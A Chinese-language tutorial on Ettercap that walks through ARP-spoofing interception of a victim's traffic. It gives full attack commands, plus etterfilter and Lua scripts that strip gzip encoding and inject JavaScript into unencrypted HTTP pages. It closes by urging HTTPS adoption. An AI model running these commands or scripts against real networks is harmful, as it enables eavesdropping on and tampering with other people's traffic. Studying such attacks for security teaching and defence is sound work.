使用Ettercap filter进行流量监听和数据篡改
简介
Ettercap是一个综合性的中间人攻击工具,使用它可以进行ARP欺骗、拦截器、DNS欺骗等操作,本文将介绍使用ettercap的文本模式进行代码注入的方式和注意点。
安装ettercap
ettercap提供了对各个操作系统的支持,这里主要介绍macOS的安装方式。
通过Homebrew安装
这种安装方式较为简单, 但是安装的ettercap不支持Lua脚本,如果想要使用支持Lua脚本的ettercap,需要通过源码安装。
brew install ettercap
通过源码安装
源码安装需要较多的依赖库,具体依赖可以在 Ettercap文档中查看,如果是Ubuntu平台,使用apt-get即可安装所有依赖,如果是macOS平台,可以使用Homebrew安装大部分缺失的依赖,如果Homebrew上没有,可以尝试使用gem,笔者使用Homebrew和gem完成了所有依赖库的安装。
1.首先将ettercap源码clone到本地,然后编辑CMakeLists.txt,将第16行的
option(ENABLE_LUA "Enable LUA support (EXPERIMENTAL)" OFF)
置为ON,如果只是使用文本模式,可以将ENABLE_CURSES和ENABLE_GTK置为OFF。
2.按照文档建立并进入builid目录,执行如下命令。
cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl -DOPENSSL_LIBRARIES=/usr/local/opt/openssl/lib
3.如果第二步中有提示某个库not found,先安装对应的库,然后先执行make clean-all,再重新执行2中的命令,如果只有memrchr提示缺少,则可以忽略,经测试不会影响ettercap的运行。
如果没有上述问题,执行如下命令完成安装。
sudo make install
4.完成安装后,可以使用 which ettercap
查看安装位置,默认来说,ettercap的相关工具在 /usr/local/bin/
,配置文件在 /etc/ettercap
,运行时执行的Lua脚本在 /usr/local/share/ettercap/lua/
。
使用ettercap进行中间人攻击
流量监听
通过ARP欺骗,我们可以使得受害者将我们视为网关,而网关将我们视为受害者,这样就实现了从请求到响应的双向监听,下面我们假设192.168.0.1是网关,而192.168.0.119为受害者,执行下面的命令即可进行监听。
sudo ettercap -T -q -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//
其中-T代表文本模式,-q为安静模式(不在控制台输出监听的数据),-M为中间人攻击,-w指定的是存储到磁盘的网络数据包,可以使用Charles或Wireshark等工具进行分析。其中ip地址的格式,根据编译源码时CMakeList中指定的是否支持IPv6,分别为 MAC/IP/IPv6/PORT
或 MAC/IP/PORT
格式。
当受害者浏览网页时,网络报文会被记录在network.pcap中,按下空格会退出安静模式,将报文同时打印到控制台。
数据篡改
使用etterfilter
1.首先我们介绍使用etterfilter编译filter并加载到ettercap对网络请求进行处理的方法,首先建立一个ig.filter文件,写入以下内容。
# 拦截受害者发送的请求,将报文压缩方式由gzip降级为不压缩
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
pcre_regex(DATA.data, "(Accept-Encoding:).*([\r\n])", "$1 identity$2");
msg("change encoding");
}
}
# 对于服务器响应,向head中注入js
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "<head>")) {
replace("<head>", "<head><script>alert('js inject')</script>");
msg("inject head");
}
}
这里需要注意的是,一定要对请求头的Accept-Encoding进行篡改,否则响应默认使用gzip编码的,这样我们直接注入明文js是无效的,将编码方式降级为Identity,服务端会返回明文报文,同时客户端也不会再对报文进行一次解码。
2.使用etterfilter将filter文件编译成ef文件
etterfilter ig.filter -o ig.ef
3.在监听数据的同时加载过滤器
sudo ettercap -T -q -F ig.ef -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//
4.尝试在受害者端使用浏览器访问未使用HTTPS的网站,例如 http://m.ctrip.com,如果成功会看到网页弹窗。
使用Lua脚本描述过滤器
使用Lua脚本的好处是不需要经过编译,直接加载即可,另外一个好处是,不会破坏网页的原始结构 ,而etterfilter方式在数据包中含有大量数据,又向其中添加数据时,会造成包尾被截断,从而破坏网页结构。
使用Lua实现上述功能的代码如下。
description = "Inject JS using Lua.";
local hooks = require("hook_points");
local packet = require("packet");
inject = "<script>alert('Inject JS using Lua.')</script>";
hook_point = hooks.filter;
packet_rule = function(packet_object)
return (packet_object:is_tcp() and
packet_object:has_data() and
(packet_object:dst_port() == 80 or
packet_object:src_port() == 80));
end
action = function(packet_object)
p = packet_object;
data = p:read_data();
if string.find(data, "Accept.Encoding:") then
s,e = string.find(data, "Accept.Encoding:.-\n")
newdata = string.gsub(data, "Accept.Encoding:.-\n",
"Accept-Encoding: identity " .. string.rep(" ", e - s - 27) .. "\r\n")
packet.set_data(p, newdata)
-- ettercap.log("Changing Encoding");
return
end
body = string.upper(data);
if (string.find(body, '<HEAD>')) then
s,e = string.find(body, '<TITLE>.-</TITLE>');
if s then
title = string.sub(data, s, e);
s,e = string.find(body, '<TITLE>.-</TITLE>');
if not s or not e then
return;
end
len = e - s;
idata = "<title>" .. description .. "</title>" .. inject .. "\n";
print(idata);
newstr = string.sub(data, 0, s - 1) .. idata .. string.rep(" ", len - string.len(idata)) .. string.sub(data, e+1, -1);
-- ettercap.log("Updating string");
packet.set_data(p, newstr);
end
end
end
ettercap中的lua API可以在 /usr/local/share/ettercap/lua
中查看,在网络监听时加载Lua脚本的命令如下。
sudo ettercap -T -q -M ARP:remote --lua-script ig.lua -w network.pcap /192.168.0.1// /192.168.0.119//
总结
本文主要介绍了使用ettercap监听和篡改HTTP流量的方法,可以看到在强大的工具面前,HTTP流量是不堪一击的。因此普及HTTPS对于保护数据安全即为重要,除此之外,CISCO等高端路由器默认对ARP欺骗进行了防御,在其局域网下也很难进行中间人攻击。对于HTTPS的数据监听,我们有两种思路,一种是降级为HTTP,这种方式易被察觉;另一种是使用 SSLStrip等工具进行会话劫持。
参考资料
- 灰帽黑客(第4版)
- https://github.com/Ettercap/ettercap